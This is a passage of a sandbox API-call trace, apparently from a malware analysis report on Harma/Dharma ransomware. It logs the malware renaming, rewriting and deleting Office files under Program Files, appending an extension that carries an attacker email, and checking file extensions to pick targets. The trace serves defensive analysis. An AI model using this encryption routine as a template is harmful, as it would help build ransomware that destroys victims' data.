Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0134.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0134.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL") returned 90 [0134.755] lstrlenW (lpString=".doc") returned 4 [0134.763] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0134.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0134.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0134.764] lstrlenW (lpString=".doc") returned 4 [0134.765] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0134.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0134.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0134.765] lstrlenW (lpString=".doc") returned 4 [0134.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0134.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0134.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0134.772] lstrlenW (lpString=".doc") returned 4 [0134.773] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0134.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0134.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL") returned 92 [0134.773] lstrlenW (lpString=".doc") returned 4 [0134.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0134.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0134.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0134.774] lstrlenW (lpString=".doc") returned 4 [0135.756] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0135.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0135.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS") returned 73 [0135.756] lstrlenW (lpString=".doc") returned 4 [0135.760] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0135.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX") returned 66 [0135.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX") returned 66 [0135.761] lstrlenW (lpString=".doc") returned 4 [0135.766] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0135.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0135.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0135.767] lstrlenW (lpString=".doc") returned 4 [0136.088] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.089] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0136.305] GetLastError () returned 0x0 [0136.305] ReadFile (in: hFile=0x2e8, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x3a18, lpOverlapped=0x0) returned 1 [0136.342] WriteFile (in: hFile=0x334, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0136.343] ReadFile (in: hFile=0x2e8, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.343] WriteFile (in: hFile=0x334, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xee, lpOverlapped=0x0) returned 1 [0136.343] SetEndOfFile (hFile=0x334) returned 1 [0136.343] CloseHandle (hObject=0x334) returned 1 [0136.344] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.344] SetEndOfFile (hFile=0x2e8) returned 1 [0136.348] CloseHandle (hObject=0x2e8) returned 1 [0136.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0136.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll")) returned 1 [0136.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0136.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0136.513] lstrlenW (lpString=".doc") returned 4 [0136.513] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0136.513] lstrlenW (lpString=".docx") returned 5 [0136.513] lstrcmpiW (lpString1=".docx", lpString2="0.rll") returned -1 [0136.513] lstrlenW (lpString=".pdf") returned 4 [0136.513] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0136.513] lstrlenW (lpString=".xls") returned 4 [0136.513] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0136.513] lstrlenW (lpString=".xlsx") returned 5 [0136.513] lstrcmpiW (lpString1=".xlsx", lpString2="0.rll") returned -1 [0136.513] lstrlenW (lpString=".ppt") returned 4 [0136.513] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0136.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0136.513] lstrlenW (lpString=".zip") returned 4 [0136.513] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0136.513] lstrlenW (lpString=".rar") returned 4 [0136.513] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0136.513] lstrlenW (lpString=".bz2") returned 4 [0136.513] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0136.513] lstrlenW (lpString=".7z") returned 3 [0136.513] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0136.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0136.513] lstrlenW (lpString=".dbf") returned 4 [0136.513] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0136.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0136.513] lstrlenW (lpString=".1cd") returned 4 [0136.513] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0136.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0136.514] lstrlenW (lpString=".jpg") returned 4 [0136.514] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0136.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0136.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0136.514] lstrlenW (lpString=".doc") returned 4 [0136.514] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0136.514] lstrlenW (lpString=".docx") returned 5 [0136.514] lstrcmpiW (lpString1=".docx", lpString2="0.rll") returned -1 [0136.514] lstrlenW (lpString=".pdf") returned 4 [0136.514] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0136.514] lstrlenW (lpString=".xls") returned 4 [0136.514] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0136.514] lstrlenW (lpString=".xlsx") returned 5 [0136.514] lstrcmpiW (lpString1=".xlsx", lpString2="0.rll") returned -1 [0136.514] lstrlenW (lpString=".ppt") returned 4 [0136.514] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0136.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0136.514] lstrlenW (lpString=".zip") returned 4 [0136.514] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0136.514] lstrlenW (lpString=".rar") returned 4 [0136.514] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0136.514] lstrlenW (lpString=".bz2") returned 4 [0136.514] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0136.514] lstrlenW (lpString=".7z") returned 3 [0136.514] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0136.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0136.514] lstrlenW (lpString=".dbf") returned 4 [0136.514] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0136.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0136.515] lstrlenW (lpString=".1cd") returned 4 [0136.515] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0136.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0136.515] lstrlenW (lpString=".jpg") returned 4 [0136.515] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0136.662] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0136.662] lstrlenW (lpString="CMNTY_01.MID") returned 12 [0136.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0136.675] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=6970) returned 1 [0136.675] CloseHandle (hObject=0x330) returned 1 [0136.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x20 [0136.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0136.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0136.683] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.683] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0137.143] GetLastError () returned 0x0 [0137.143] ReadFile (in: hFile=0x334, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x1b3a, lpOverlapped=0x0) returned 1 [0137.155] WriteFile (in: hFile=0x348, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x1b40, lpOverlapped=0x0) returned 1 [0137.157] ReadFile (in: hFile=0x334, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0137.157] WriteFile (in: hFile=0x348, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.157] SetEndOfFile (hFile=0x348) returned 1 [0137.368] CloseHandle (hObject=0x348) returned 1 [0137.435] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.435] SetEndOfFile (hFile=0x334) returned 1 [0137.595] CloseHandle (hObject=0x334) returned 1 [0137.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0138.782] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 1 [0138.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0138.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0138.840] lstrlenW (lpString=".doc") returned 4 [0138.840] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0138.840] lstrlenW (lpString=".docx") returned 5 [0138.840] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0138.840] lstrlenW (lpString=".pdf") returned 4 [0138.840] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0138.840] lstrlenW (lpString=".xls") returned 4 [0138.840] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0138.840] lstrlenW (lpString=".xlsx") returned 5 [0138.840] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0138.840] lstrlenW (lpString=".ppt") returned 4 [0138.840] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0138.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0138.840] lstrlenW (lpString=".zip") returned 4 [0138.840] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0138.840] lstrlenW (lpString=".rar") returned 4 [0138.840] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0138.841] lstrlenW (lpString=".bz2") returned 4 [0138.841] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0138.841] lstrlenW (lpString=".7z") returned 3 [0138.841] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0138.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0138.841] lstrlenW (lpString=".dbf") returned 4 [0138.841] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0138.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0138.841] lstrlenW (lpString=".1cd") returned 4 [0138.841] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0138.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0138.841] lstrlenW (lpString=".jpg") returned 4 [0138.841] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0138.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0138.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0138.841] lstrlenW (lpString=".doc") returned 4 [0138.841] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0138.841] lstrlenW (lpString=".docx") returned 5 [0138.841] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0138.841] lstrlenW (lpString=".pdf") returned 4 [0138.841] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0138.841] lstrlenW (lpString=".xls") returned 4 [0138.841] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0138.841] lstrlenW (lpString=".xlsx") returned 5 [0138.841] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0138.841] lstrlenW (lpString=".ppt") returned 4 [0138.841] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0138.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0138.842] lstrlenW (lpString=".zip") returned 4 [0138.842] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0138.842] lstrlenW (lpString=".rar") returned 4 [0138.842] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0138.842] lstrlenW (lpString=".bz2") returned 4 [0138.842] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0138.842] lstrlenW (lpString=".7z") returned 3 [0138.842] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0138.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0138.842] lstrlenW (lpString=".dbf") returned 4 [0138.842] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0138.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0138.842] lstrlenW (lpString=".1cd") returned 4 [0138.842] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0138.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0138.842] lstrlenW (lpString=".jpg") returned 4 [0138.842] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0138.842] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0138.842] lstrlenW (lpString="FINCL_02.MID") returned 12 [0138.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0139.731] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=9318) returned 1 [0139.732] CloseHandle (hObject=0x33c) returned 1 [0139.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid")) returned 0x20 [0140.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0140.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0140.319] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.319] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0140.321] GetLastError () returned 0x0 [0140.321] ReadFile (in: hFile=0x330, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x2466, lpOverlapped=0x0) returned 1 [0140.335] WriteFile (in: hFile=0x344, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x2470, lpOverlapped=0x0) returned 1 [0140.336] ReadFile (in: hFile=0x330, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.336] WriteFile (in: hFile=0x344, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.336] SetEndOfFile (hFile=0x344) returned 1 [0141.073] CloseHandle (hObject=0x344) returned 1 [0141.087] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.087] SetEndOfFile (hFile=0x330) returned 1 [0141.712] CloseHandle (hObject=0x330) returned 1 [0141.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[gillian.cher@aol.com].harma", 